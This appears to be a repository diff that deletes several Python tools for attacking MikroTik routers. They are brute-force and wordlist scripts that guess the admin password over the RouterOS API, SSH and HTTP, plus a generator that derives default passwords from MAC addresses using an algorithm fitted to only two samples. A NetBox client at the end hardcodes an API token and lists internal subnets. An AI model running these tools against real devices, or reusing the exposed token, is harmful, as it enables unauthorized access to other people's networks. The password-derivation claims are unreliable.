print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8")
print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8 0x00010000 # Resume from 0x00010000")
print()
print("WARNING: Full brute force will take a VERY long time!")
print("At 100 passwords/second, it would take ~1.36 years to complete.")
sys.exit(1)
host = sys.argv[1]
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
start_from = 0
if len(sys.argv) > 3:
start_hex = sys.argv[3]
if start_hex.startswith('0x'):
start_from = int(start_hex, 16)
else:
start_from = int(start_hex)
# Install signal handler
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
# Confirm before starting
print(f"About to start full brute force against {host}")
print(f"This will test ALL 4,294,967,296 possible passwords!")
print(f"Starting from: 0x{start_from:08x}")
print()
response = input("Are you sure you want to continue? (yes/no): ")
if response.lower() != 'yes':
print("Aborted.")
sys.exit(0)
attacker = MikroTikFullBruteForce(host)
password = attacker.run_full_brute_force(
max_workers=threads,
chunk_size=1000,
start_from=start_from
)
if password:
print(f"\n✓ SUCCESS! Password found: {password}")
sys.exit(0)
else:
print(f"\n✗ Password not found in tested range.")
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -1,296 +0,0 @@
#!/usr/bin/env python3
"""
Reliable Fast MikroTik Brute Force
Optimized for speed while maintaining authentication accuracy
"""
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor
import queue
import sys
class ReliableFastBruteForce:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.username = "admin"
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
self.found_password = None
def reliable_api_test(self, password):
"""Fast but reliable API test"""
if self.stop_flag.is_set():
return False
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.settimeout(2) # Reasonable timeout
sock.connect((self.host, self.port))
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
else:
return bytes([0xFF])
def write_word(word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(words):
for word in words:
write_word(word)
write_word("")
def read_word():
try:
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
second_byte = sock.recv(1)
if not second_byte:
return ""
length = ((length & 0x7F) << 8) + second_byte[0]
if length > 500: # Sanity check
return ""
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence():
sentence = []
tries = 0
while tries < 10: # Limit attempts
word = read_word()
if word == "":
break
sentence.append(word)
tries += 1
return sentence
# Send login
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
# Read response with timeout
sock.settimeout(1) # Shorter timeout for response
response = read_sentence()
sock.close()
# Reliable success detection
if response and len(response) > 0:
if response[0] == "!done":
return True
elif response[0] == "!trap":
# Check for specific error message
for item in response:
if "invalid user name or password" in item.lower():
return False
return False
return False
except Exception:
return False
def verify_password(self, password):
"""Double-check a potential password with multiple methods"""
print(f"\nVerifying potential password: {password}")
# Test API multiple times
api_results = []
for i in range(3):
result = self.reliable_api_test(password)
api_results.append(result)
time.sleep(0.1)
api_success = sum(api_results) >= 2 # Majority vote
# Test SSH as secondary verification
ssh_success = False
try:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=22,
username=self.username,
password=password,
timeout=3,
allow_agent=False,
look_for_keys=False,
)
# Try to execute a command
stdin, stdout, stderr = client.exec_command("/system identity print", timeout=2)
output = stdout.read().decode()
client.close()
ssh_success = len(output) > 5 # Got some output
except Exception:
ssh_success = False
print(f" API results: {api_results} (success: {api_success})")
print(f" SSH result: {ssh_success}")
# Require both API and SSH success for verification
return api_success and ssh_success
def batch_worker(self, start_val, batch_size):
"""Process a batch of passwords"""
local_attempts = 0
for i in range(batch_size):
if self.stop_flag.is_set():
break
value = start_val + i
if value > 0xFFFFFFFF:
break
hex_str = f"{value:08x}"
password = f"{hex_str[:4]}-{hex_str[4:]}"
local_attempts += 1
if self.reliable_api_test(password):
# Potential match - verify it thoroughly
if self.verify_password(password):
with self.lock:
self.attempts += local_attempts
print(f"\n*** VERIFIED PASSWORD FOUND: {password} ***")
self.found_password = password
self.stop_flag.set()
return True
else:
print(f" False positive rejected: {password}")
with self.lock:
self.attempts += local_attempts
return False
def run_reliable_fast(self, max_workers=8, batch_size=50, start_from=0):
"""Run reliable fast brute force"""
print(f"Reliable Fast MikroTik Brute Force")
print(f"Host: {self.host}")
print(f"Workers: {max_workers}")
print(f"Batch size: {batch_size}")
print(f"Starting from: 0x{start_from:08x}")
print("Features: Double verification, false positive rejection")
print("=" * 70)
self.start_time = time.time()
# Progress reporter
def progress_reporter():
last_attempts = 0
while not self.stop_flag.is_set():
time.sleep(5) # Report every 5 seconds
with self.lock:
current_attempts = self.attempts
if current_attempts > 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed
recent_rate = (current_attempts - last_attempts) / 5
current_value = start_from + current_attempts
hex_val = f"{current_value:08x}"
password = f"{hex_val[:4]}-{hex_val[4:]}"
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec avg, {recent_rate:.0f}/sec recent)")
print(f" Current: {password} (0x{current_value:08x})")
last_attempts = current_attempts
progress_thread = threading.Thread(target=progress_reporter, daemon=True)
progress_thread.start()
# Submit work in batches
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = []
current_val = start_from
# Submit initial work
for _ in range(max_workers * 2):
if current_val > 0xFFFFFFFF:
break
future = executor.submit(self.batch_worker, current_val, batch_size)
futures.append(future)
current_val += batch_size
# Process results and submit more work
while futures and not self.stop_flag.is_set():
completed = []
for future in futures:
if future.done():
completed.append(future)
try:
if future.result(): # Found password
self.stop_flag.set()
break
except Exception as e:
print(f"Worker error: {e}")
# Remove completed futures
for future in completed:
futures.remove(future)
# Submit more work
while len(futures) < max_workers and current_val <= 0xFFFFFFFF and not self.stop_flag.is_set():
future = executor.submit(self.batch_worker, current_val, batch_size)
futures.append(future)
current_val += batch_size
time.sleep(0.1)
elapsed = time.time() - self.start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(f"\nCompleted: {self.attempts:,} attempts in {elapsed:.1f}s ({rate:.0f}/sec)")
return self.found_password
def main():
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_reliable_fast.py <HOST> [workers] [start_hex]")
print("Examples:")
print(" python3 mikrotik_reliable_fast.py 10.250.2.2")
print(" python3 mikrotik_reliable_fast.py 10.250.2.2 16 0x00001000")
sys.exit(1)
host = sys.argv[1]
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 8
start_from = 0
if len(sys.argv) > 3:
start_hex = sys.argv[3]
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
attacker = ReliableFastBruteForce(host)
password = attacker.run_reliable_fast(
max_workers=workers,
batch_size=50,
start_from=start_from
)
if password:
print(f"\n✓ VERIFIED SUCCESS! Password: {password}")
print(f"You can now access the device with admin:{password}")
else:
print(f"\n✗ No password found in tested range")
if __name__ == "__main__":
main()

View file

@ -1,256 +0,0 @@
#!/usr/bin/env python3
"""
Optimized MikroTik Password Attack using Wordlist
Tests passwords from generated wordlist using most efficient methods
"""
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import socket
import requests
from requests.auth import HTTPBasicAuth
class MikroTikWordlistAttack:
def __init__(self, host, wordlist_file="mikrotik_wordlist.txt"):
self.host = host
self.wordlist_file = wordlist_file
self.username = "admin"
self.found_password = None
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
def load_wordlist(self):
"""Load passwords from wordlist file"""
try:
with open(self.wordlist_file, 'r') as f:
passwords = [line.strip() for line in f if line.strip()]
return passwords
except FileNotFoundError:
print(f"Error: Wordlist file '{self.wordlist_file}' not found")
print("Run 'python3 generate_mikrotik_wordlist.py' first")
return []
def test_api_connection(self, password, port=8728, timeout=3):
"""Test MikroTik API connection (most reliable method)"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((self.host, port))
# Send login command in MikroTik API format
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
return bytes([0xFF]) # Simplified for short strings
def write_word(sock, word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(sock, words):
for word in words:
write_word(sock, word)
write_word(sock, "")
def read_word(sock):
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
# Multi-byte length, simplified handling
length = length & 0x7F
if length > 50: # Sanity check
return ""
try:
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence(sock):
sentence = []
try:
while True:
word = read_word(sock)
if word == "":
break
sentence.append(word)
except:
pass
return sentence
# Send login
write_sentence(sock, ["/login", f"=name={self.username}", f"=password={password}"])
# Read response
sock.settimeout(2) # Shorter timeout for response
response = read_sentence(sock)
sock.close()
return response and len(response) > 0 and response[0] == "!done"
except Exception:
return False
def test_http_connection(self, password, timeout=3):
"""Test HTTP connection"""
try:
# Test if we can access a protected resource
response = requests.get(
f"http://{self.host}/webfig/",
auth=HTTPBasicAuth(self.username, password),
timeout=timeout,
allow_redirects=False
)
# Success if we don't get 401/403
return response.status_code not in [401, 403]
except:
return False
def test_ssh_connection(self, password, timeout=3):
"""Test SSH connection"""
try:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=22,
username=self.username,
password=password,
timeout=timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
def test_password(self, password):
"""Test a password using multiple methods"""
if self.stop_flag.is_set():
return False
with self.lock:
self.attempts += 1
current_attempts = self.attempts
# Progress reporting
if current_attempts % 10 == 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed if elapsed > 0 else 0
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
# Test methods in order of reliability and speed
methods = [
("API", lambda: self.test_api_connection(password)),
("HTTP", lambda: self.test_http_connection(password)),
("SSH", lambda: self.test_ssh_connection(password)),
]
for method_name, test_func in methods:
try:
if test_func():
print(f"\n*** SUCCESS! ***")
print(f"Password found: {password}")
print(f"Method: {method_name}")
print(f"Host: {self.host}")
print(f"Username: {self.username}")
print(f"Total attempts: {current_attempts}")
elapsed = time.time() - self.start_time
print(f"Time taken: {elapsed:.2f} seconds")
self.found_password = password
self.stop_flag.set()
return True
except Exception as e:
# If one method fails, try the next
continue
return False
def run_attack(self, max_workers=4):
"""Run the wordlist attack"""
passwords = self.load_wordlist()
if not passwords:
return None
print(f"Starting wordlist attack against {self.host}")
print(f"Username: {self.username}")
print(f"Passwords to test: {len(passwords)}")
print(f"Concurrent threads: {max_workers}")
print("=" * 60)
self.start_time = time.time()
# Use ThreadPoolExecutor for controlled concurrency
with ThreadPoolExecutor(max_workers=max_workers) as executor:
# Submit all password tests
future_to_password = {
executor.submit(self.test_password, pwd): pwd
for pwd in passwords
}
# Process results as they complete
for future in as_completed(future_to_password):
if self.stop_flag.is_set():
# Cancel remaining tasks
for f in future_to_password:
f.cancel()
break
password = future_to_password[future]
try:
result = future.result()
if result:
return self.found_password
except Exception as e:
print(f"Error testing {password}: {e}")
if not self.found_password:
elapsed = time.time() - self.start_time
print(f"\nWordlist attack completed.")
print(f"Total attempts: {self.attempts}")
print(f"Time taken: {elapsed:.2f} seconds")
print(f"No password found in wordlist.")
print("\nNext steps:")
print("1. Try generating larger wordlist with more patterns")
print("2. Consider full brute force attack")
print("3. Hardware reset if device is accessible")
return self.found_password
def main():
import sys
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_wordlist_attack.py <HOST> [threads]")
print("Example: python3 mikrotik_wordlist_attack.py 10.250.2.2 8")
sys.exit(1)
host = sys.argv[1]
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
attacker = MikroTikWordlistAttack(host)
password = attacker.run_attack(max_workers=threads)
if password:
print(f"\n✓ Attack successful! Password: {password}")
sys.exit(0)
else:
print(f"\n✗ Attack failed. No password found.")
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -1,348 +0,0 @@
"""
MikroTik RouterBoard Password Brute Force Tool
This tool attempts to find the admin password for a MikroTik device
by randomly generating and testing password combinations.
It tries all possible 4-byte hex combinations (in random order) which matches
the MikroTik password format "XXXX-XXXX".
USAGE: Only use on devices you own or have authorization to access.
Unauthorized access to computer systems is illegal.
"""
import socket
import sys
import time
import random
import string
from threading import Thread, Lock
import queue
class MikroTikBruteForce:
"""Brute force MikroTik RouterBoard passwords."""
def __init__(self, host, port=22, timeout=5, use_http=False):
"""
Initialize the brute force tool.
Args:
host (str): IP address of the device
port (int): Port to connect to (22 for SSH, 80 for HTTP)
timeout (int): Connection timeout in seconds
use_http (bool): Use HTTP instead of SSH
"""
self.host = host
self.port = port
self.timeout = timeout
self.use_http = use_http
self.username = "admin"
self.found_password = None
self.attempts = 0
self.lock = Lock()
def generate_random_passwords(self):
"""
Generate all possible 4-byte hex passwords in random order.
Yields passwords in the format "XXXX-XXXX" where X is a hex digit.
This covers all 65,536^2 possible combinations (4,294,967,296 passwords).
For practicality, we generate them randomly.
Yields:
str: A password in format "xxxx-xxxx"
"""
# Generate all possible 4-hex-digit combinations
hex_digits = string.hexdigits.lower()[:16] # 0-9, a-f
# Create all possible 8-digit hex strings
all_combinations = []
for i in range(0x10000): # 65536 combinations for first 4 digits
for j in range(0x10000): # 65536 combinations for last 4 digits
hex_str = f"{i:04x}{j:04x}"
all_combinations.append(hex_str)
# Randomize the order
random.shuffle(all_combinations)
for hex_str in all_combinations:
yield f"{hex_str[:4]}-{hex_str[4:]}"
def generate_streaming_random_passwords(self):
"""
Generate random 4-byte hex passwords on-the-fly (infinite stream).
This is more memory efficient for large-scale brute forcing.
Yields:
str: A password in format "xxxx-xxxx"
"""
seen = set()
while len(seen) < 0x100000000: # 4,294,967,296 possible passwords
# Generate random 8-digit hex string
random_val1 = random.randint(0, 0xFFFF)
random_val2 = random.randint(0, 0xFFFF)
hex_str = f"{random_val1:04x}{random_val2:04x}"
if hex_str not in seen:
seen.add(hex_str)
yield f"{hex_str[:4]}-{hex_str[4:]}"
def try_password_ssh(self, password):
"""
Try connecting with SSH.
Args:
password (str): Password to try
Returns:
bool: True if successful, False otherwise
"""
try:
import paramiko
except ImportError:
print("Error: paramiko not installed. Install with: pip install paramiko")
return False
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=self.port,
username=self.username,
password=password,
timeout=self.timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
def try_password_http(self, password):
"""
Try connecting via HTTP (WebFig).
Args:
password (str): Password to try
Returns:
bool: True if successful, False otherwise
"""
try:
import requests
from requests.auth import HTTPBasicAuth
except ImportError:
print("Error: requests not installed. Install with: pip install requests")
return False
try:
response = requests.get(
f"http://{self.host}:{self.port}/",
auth=HTTPBasicAuth(self.username, password),
timeout=self.timeout,
)
return response.status_code == 200
except Exception:
return False
def try_password(self, password):
"""Try a password using the configured method."""
if self.use_http:
return self.try_password_http(password)
else:
return self.try_password_ssh(password)
def brute_force(self, num_threads=1, memory_efficient=False):
"""
Brute force the password by trying random combinations.
Args:
num_threads (int): Number of concurrent threads to use
memory_efficient (bool): Use streaming random generation (memory efficient)
Returns:
str: Password if found, None otherwise
"""
print(f"[*] Starting brute force on {self.host}:{self.port}")
print(f"[*] Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
print(f"[*] Threads: {num_threads}")
print(f"[*] Memory efficient: {memory_efficient}")
print(f"[*] Trying random passwords in format 'xxxx-xxxx'")
print()
start_time = time.time()
if memory_efficient:
password_generator = self.generate_streaming_random_passwords()
else:
password_generator = self.generate_random_passwords()
if num_threads == 1:
return self._brute_force_single_thread(password_generator, start_time)
else:
return self._brute_force_multi_thread(password_generator, num_threads, start_time)
def _brute_force_single_thread(self, password_generator, start_time):
"""Single-threaded brute force."""
for password in password_generator:
with self.lock:
self.attempts += 1
if self.attempts % 100 == 0:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
f"Elapsed: {elapsed:.1f}s - Last tried: {password}"
)
if self.try_password(password):
elapsed = time.time() - start_time
print()
print(f"[+] SUCCESS! Found password: {password}")
print(f"[+] Total attempts: {self.attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
return password
print("[-] Brute force complete. Password not found.")
return None
def _brute_force_multi_thread(self, password_generator, num_threads, start_time):
"""Multi-threaded brute force."""
password_queue = queue.Queue(maxsize=1000)
result_queue = queue.Queue()
# Producer thread
def producer():
for password in password_generator:
if result_queue.empty(): # Stop if password found
password_queue.put(password)
# Worker threads
def worker():
while True:
try:
password = password_queue.get(timeout=1)
except queue.Empty:
break
with self.lock:
self.attempts += 1
if self.attempts % 100 == 0:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
f"Last tried: {password}"
)
if self.try_password(password):
result_queue.put(password)
print()
print(f"[+] SUCCESS! Found password: {password}")
return
password_queue.task_done()
# Start threads
producer_thread = Thread(target=producer, daemon=True)
producer_thread.start()
worker_threads = [Thread(target=worker, daemon=True) for _ in range(num_threads)]
for thread in worker_threads:
thread.start()
# Wait for result or completion
producer_thread.join(timeout=3600)
for thread in worker_threads:
thread.join(timeout=10)
if not result_queue.empty():
password = result_queue.get()
elapsed = time.time() - start_time
print(f"[+] Total attempts: {self.attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
return password
print("[-] Brute force complete. Password not found.")
return None
def main():
"""Main entry point."""
print("MikroTik RouterBoard Password Brute Force Tool")
print("=" * 55)
print()
print("⚠️ WARNING: Only use on devices you own or have authorization to access.")
print()
if len(sys.argv) < 2:
print("Usage:")
print(" python script.py <HOST> [OPTIONS]")
print()
print("Arguments:")
print(" HOST IP address of MikroTik device (e.g., 192.168.88.1)")
print()
print("Options:")
print(" --port PORT Port number (default: 22 for SSH, 80 for HTTP)")
print(" --method METHOD 'ssh' or 'http' (default: ssh)")
print(" --threads N Number of concurrent threads (default: 1)")
print(" --memory-efficient Use streaming password generation (memory efficient)")
print()
print("Examples:")
print(" python script.py 192.168.88.1")
print(" python script.py 192.168.88.1 --port 22 --method ssh")
print(" python script.py 192.168.88.1 --port 80 --method http --threads 4")
print(" python script.py 192.168.88.1 --memory-efficient --threads 8")
print()
print("Password space: 65,536² = 4,294,967,296 possible 'xxxx-xxxx' passwords")
sys.exit(1)
host = sys.argv[1]
port = 22
method = "ssh"
threads = 1
memory_efficient = False
# Parse options
i = 2
while i < len(sys.argv):
if sys.argv[i] == "--port":
port = int(sys.argv[i + 1])
i += 2
elif sys.argv[i] == "--method":
method = sys.argv[i + 1].lower()
i += 2
elif sys.argv[i] == "--threads":
threads = int(sys.argv[i + 1])
i += 2
elif sys.argv[i] == "--memory-efficient":
memory_efficient = True
i += 1
else:
print(f"Unknown option: {sys.argv[i]}")
sys.exit(1)
if method not in ["ssh", "http"]:
print(f"Error: Method must be 'ssh' or 'http', not '{method}'")
sys.exit(1)
brute_forcer = MikroTikBruteForce(
host, port=port, use_http=(method == "http")
)
brute_forcer.brute_force(num_threads=threads, memory_efficient=memory_efficient)
if __name__ == "__main__":
main()

View file

@ -1,231 +0,0 @@
"""
MikroTik RouterBoard Password Generator
Reverse-engineered password generation algorithm based on MAC address analysis.
IMPORTANT DISCOVERY: Two different MAC addresses generate the SAME password:
MAC: 18:FD:74:F9:04:FC Password: c8fd-8bff
MAC: 18:FD:74:F9:04:90 Password: c8fd-8bff
The only difference is the last byte (FC vs 90), proving it's NOT used!
Pattern discovered:
- Only uses first 5 MAC bytes (byte 5 is ignored)
- Byte 0: MAC[0] XOR 0xD0
- Byte 1: MAC[1] (direct copy)
- Byte 2: NOT(MAC[2])
- Byte 3: 0xFF (constant or derived)
WARNING: This is based on reverse engineering two MAC addresses that both
produce the same password. More data points would help verify the constants.
"""
class MikroTikPasswordGenerator:
"""Generate MikroTik RouterBoard passwords from MAC addresses."""
@staticmethod
def parse_mac(mac_address):
"""
Parse a MAC address string into a list of bytes.
Accepts formats like "18:FD:74:F9:04:FC" or "18-FD-74-F9-04-FC"
Args:
mac_address (str): MAC address string
Returns:
list: List of 6 integers (0-255)
Raises:
ValueError: If MAC address format is invalid
"""
mac_address = mac_address.upper()
# Split by colon or dash
import re
parts = re.split(r'[:-]', mac_address)
if len(parts) != 6:
raise ValueError(f"Invalid MAC address: {mac_address}. Expected 6 octets.")
try:
mac_bytes = [int(part, 16) for part in parts]
except ValueError:
raise ValueError(f"Invalid MAC address format: {mac_address}")
return mac_bytes
@staticmethod
def bitwise_not(byte):
"""
Bitwise NOT operation (inverts all bits in a byte).
Args:
byte (int): Byte value (0-255)
Returns:
int: NOT(byte) as a byte (0-255)
"""
return byte ^ 0xFF
@staticmethod
def xor_op(byte, mask):
"""
XOR operation on a byte with a mask.
Args:
byte (int): Byte value (0-255)
mask (int): XOR mask (0-255)
Returns:
int: byte XOR mask (0-255)
"""
return (byte ^ mask) & 0xFF
@staticmethod
def format_password(pwd_bytes):
"""
Format password bytes into MikroTik format "XXXX-XXXX".
Args:
pwd_bytes (list): List of 4 bytes
Returns:
str: Formatted password like "c8fd-8bff"
"""
if len(pwd_bytes) != 4:
raise ValueError(f"Expected 4 password bytes, got {len(pwd_bytes)}")
hex_string = ''.join(f'{byte:02x}' for byte in pwd_bytes)
return f"{hex_string[:4]}-{hex_string[4:]}"
@staticmethod
def generate_password(mac_address):
"""
Generate a password from a MAC address.
Uses only the first 5 bytes of the MAC address (byte 5 is ignored).
Algorithm:
PWD[0] = MAC[0] XOR 0xD0
PWD[1] = MAC[1] (direct copy)
PWD[2] = NOT(MAC[2]) (bitwise NOT)
PWD[3] = 0xFF (constant or derived)
Args:
mac_address (str): MAC address string (e.g., "18:FD:74:F9:04:FC")
Returns:
str: Generated password (e.g., "c8fd-8bff")
Example:
>>> gen = MikroTikPasswordGenerator()
>>> pwd1 = gen.generate_password("18:FD:74:F9:04:FC")
>>> pwd2 = gen.generate_password("18:FD:74:F9:04:90")
>>> pwd1 == pwd2
True
'c8fd-8bff'
"""
mac_bytes = MikroTikPasswordGenerator.parse_mac(mac_address)
if len(mac_bytes) != 6:
raise ValueError(f"Expected 6 MAC bytes, got {len(mac_bytes)}")
# Extract the first 5 MAC bytes (byte 5 is ignored)
b0, b1, b2, b3, b4 = mac_bytes[:5]
# Generate password bytes based on discovered pattern
pwd_byte_0 = MikroTikPasswordGenerator.xor_op(b0, 0xD0)
pwd_byte_1 = b1 # Direct copy
pwd_byte_2 = MikroTikPasswordGenerator.bitwise_not(b2) # NOT operation
pwd_byte_3 = 0xFF # Constant (or possibly derived from b3)
pwd_bytes = [pwd_byte_0, pwd_byte_1, pwd_byte_2, pwd_byte_3]
# Format as hex string with dash
return MikroTikPasswordGenerator.format_password(pwd_bytes)
def test():
"""
Test the generator with the two known MAC/password pairs.
Both MACs should generate the same password.
"""
mac1 = "18:FD:74:F9:04:FC"
mac2 = "18:FD:74:F9:04:90"
expected = "c8fd-8bff"
gen = MikroTikPasswordGenerator()
generated1 = gen.generate_password(mac1)
generated2 = gen.generate_password(mac2)
print("Testing MikroTik Password Generator")
print("=" * 45)
print()
print("Test 1: First MAC address")
print(f" MAC Address: {mac1}")
print(f" Expected Password: {expected}")
print(f" Generated Password: {generated1}")
result1 = generated1 == expected
print(f" Result: {'✓ PASS' if result1 else '✗ FAIL'}")
print()
print("Test 2: Second MAC address (last byte different)")
print(f" MAC Address: {mac2}")
print(f" Expected Password: {expected}")
print(f" Generated Password: {generated2}")
result2 = generated2 == expected
print(f" Result: {'✓ PASS' if result2 else '✗ FAIL'}")
print()
# Key insight: both should be the same
print(f"Both generate same password: {'✓ YES' if generated1 == generated2 else '✗ NO'}")
print(f"Proves last byte is ignored: {'✓ CONFIRMED' if result1 and result2 else '✗ NOT CONFIRMED'}")
return result1 and result2
def main():
"""Main entry point with example usage."""
import sys
print("MikroTik RouterBoard Password Generator")
print("=" * 45)
print()
# Run test
test_passed = test()
print()
# Example usage
if len(sys.argv) > 1:
mac_address = sys.argv[1]
try:
gen = MikroTikPasswordGenerator()
password = gen.generate_password(mac_address)
print(f"MAC: {mac_address}")
print(f"Password: {password}")
except ValueError as e:
print(f"Error: {e}")
sys.exit(1)
else:
print("Usage:")
print(" python mikrotik_password.py <MAC_ADDRESS>")
print()
print("Examples:")
print(" python mikrotik_password.py 18:FD:74:F9:04:FC")
print(" python mikrotik_password.py 18-FD-74-F9-04:FC")
print()
print("Algorithm:")
print(" PWD[0] = MAC[0] XOR 0xD0")
print(" PWD[1] = MAC[1]")
print(" PWD[2] = NOT(MAC[2])")
print(" PWD[3] = 0xFF")
print()
print("Note: Only first 5 MAC bytes are used (byte 5 is ignored)")
sys.exit(0 if test_passed else 1)
if __name__ == "__main__":
main()

View file

@ -1,251 +0,0 @@
#!/usr/bin/env python3
import requests
import json
from urllib.parse import urljoin
class NetBoxClient:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def get_all(self, endpoint, params=None):
"""Get all results handling pagination"""
if params is None:
params = {}
params['limit'] = 100
all_results = []
url = urljoin(self.api_url, endpoint.lstrip('/'))
while url:
response = self.session.get(url, params=params)
response.raise_for_status()
data = response.json()
all_results.extend(data['results'])
url = data['next']
params = None # Don't send params on subsequent requests
return all_results
# Site methods
def get_sites(self, **kwargs):
return self.get_all('dcim/sites/', params=kwargs)
def get_site_by_name(self, name):
sites = self.get('dcim/sites/', params={'name': name})
if sites['count'] > 0:
return sites['results'][0]
return None
# Prefix methods
def get_prefixes(self, **kwargs):
return self.get_all('ipam/prefixes/', params=kwargs)
def get_prefixes_by_site(self, site_name):
"""Get all prefixes associated with a site"""
site = self.get_site_by_name(site_name)
if not site:
return []
return self.get_all('ipam/prefixes/', params={'site_id': site['id']})
# IP Address methods
def get_ip_addresses(self, **kwargs):
return self.get_all('ipam/ip-addresses/', params=kwargs)
def get_ip_addresses_by_site(self, site_name):
"""Get all IP addresses associated with a site"""
site = self.get_site_by_name(site_name)
if not site:
return []
# First try by site_id
ips = self.get_all('ipam/ip-addresses/', params={'site_id': site['id']})
# Also get IPs assigned to devices at this site
devices = self.get_all('dcim/devices/', params={'site_id': site['id']})
for device in devices:
device_ips = self.get_all('ipam/ip-addresses/', params={'device_id': device['id']})
ips.extend(device_ips)
# Remove duplicates
seen = set()
unique_ips = []
for ip in ips:
if ip['id'] not in seen:
seen.add(ip['id'])
unique_ips.append(ip)
return unique_ips
# Device methods
def get_devices_by_site(self, site_name):
"""Get all devices at a site"""
site = self.get_site_by_name(site_name)
if not site:
return []
return self.get_all('dcim/devices/', params={'site_id': site['id']})
# VLAN methods
def get_vlans_by_site(self, site_name):
"""Get all VLANs at a site"""
site = self.get_site_by_name(site_name)
if not site:
return []
return self.get_all('ipam/vlans/', params={'site_id': site['id']})
def compare_subnets():
"""Compare subnets from router with NetBox"""
# NetBox connection
nb = NetBoxClient('https://netbox.vntx.net/', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# Subnets found on router (from previous scan)
router_subnets = [
{'address': '10.250.1.25/29', 'network': '10.250.1.24', 'interface': 'ether3-climax-11ghz'},
{'address': '10.254.254.101/32', 'network': '10.254.254.101', 'interface': 'loopback'},
{'address': '100.64.3.254/22', 'network': '100.64.0.0', 'interface': 'verona'},
{'address': '204.110.188.254/27', 'network': '204.110.188.224', 'interface': 'verona'},
{'address': '100.64.15.254/22', 'network': '100.64.12.0', 'interface': 'vlan_19_ether6'},
{'address': '10.10.95.254/20', 'network': '10.10.80.0', 'interface': 'vlan_10_ether6'},
{'address': '10.10.15.254/20', 'network': '10.10.0.0', 'interface': 'vlan_10_ether6'},
{'address': '10.0.101.254/24', 'network': '10.0.101.0', 'interface': 'sfp-sfpplus1-verona-tower-switch'},
{'address': '10.250.1.145/29', 'network': '10.250.1.144', 'interface': 'ether6-switch'},
{'address': '204.110.191.30/27', 'network': '204.110.191.0', 'interface': 'vlan9_sfpplus1'},
{'address': '10.25.1.254/24', 'network': '10.25.1.0', 'interface': 'ether1'},
{'address': '192.168.99.254/24', 'network': '192.168.99.0', 'interface': 'ether10-powerswitch'},
]
print("=== Checking Verona Site Subnets in NetBox ===\n")
# Get site info
site = nb.get_site_by_name('Verona')
if site:
print(f"Site: {site['name']} (ID: {site['id']})")
print(f"Status: {site['status']['label']}")
print(f"Address: {site['physical_address']}")
print()
# Get prefixes from NetBox
print("Fetching NetBox data...")
prefixes = nb.get_prefixes_by_site('Verona')
